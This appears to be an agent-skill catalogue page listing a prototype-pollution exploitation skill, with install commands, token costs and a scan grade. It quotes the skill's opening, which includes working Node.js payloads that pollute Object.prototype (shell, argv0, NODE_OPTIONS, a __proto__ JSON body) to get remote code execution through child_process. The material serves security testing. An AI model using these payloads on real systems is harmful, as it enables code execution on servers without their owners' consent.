Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/JustineDevs/premortemnpx agentmods add skills/justinedevs/premortem/prototype-pollution-advancedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/justinedevs/premortem/prototype-pollution-advanced)<a href="https://agentmods.dev/skills/justinedevs/premortem/prototype-pollution-advanced"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/prototype-pollution-advanced/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/justinedevs/premortem/prototype-pollution-advanced"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/prototype-pollution-advanced.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00059 | $0.03030 |
| Opus 5 | $0.00030 | $0.01515 |
| Sonnet 5 | $0.00012 | $0.00606 |
| Haiku 4.5 | $0.00006 | $0.00303 |
Grade A, and why
prototype-pollution-advanced scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
> **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, a This is a copy
100% identical to prototype-pollution-advanced — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 339 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation
AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks,
__proto__vsconstructor.prototype, basic probes).
0. RELATED ROUTING
- prototype-pollution — LOAD FIRST for PP fundamentals, merge-sink detection, basic probes
- ssti-server-side-template-injection — template engine RCE context (PP often triggers through template gadgets)
- xss-cross-site-scripting — client-side PP gadgets ultimately achieve XSS
Advanced Reference
Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.
1. SERVER-SIDE PP → RCE
1.1 Node.js child_process.spawn — Shell/ENV Injection
When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls'); // inherits shell, env from prototype
// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code
Alternative ENV pollution:
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
1.2 EJS (Embedded JavaScript Templates)
EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 339 lines · 59 tokens per session scan A 10b2f3c19818
prototype-pollution-advanced is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 59 tokens to every session and 3,030 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). It is 100% identical to prototype-pollution-advanced, differing in 0 lines, and is treated as a copy.
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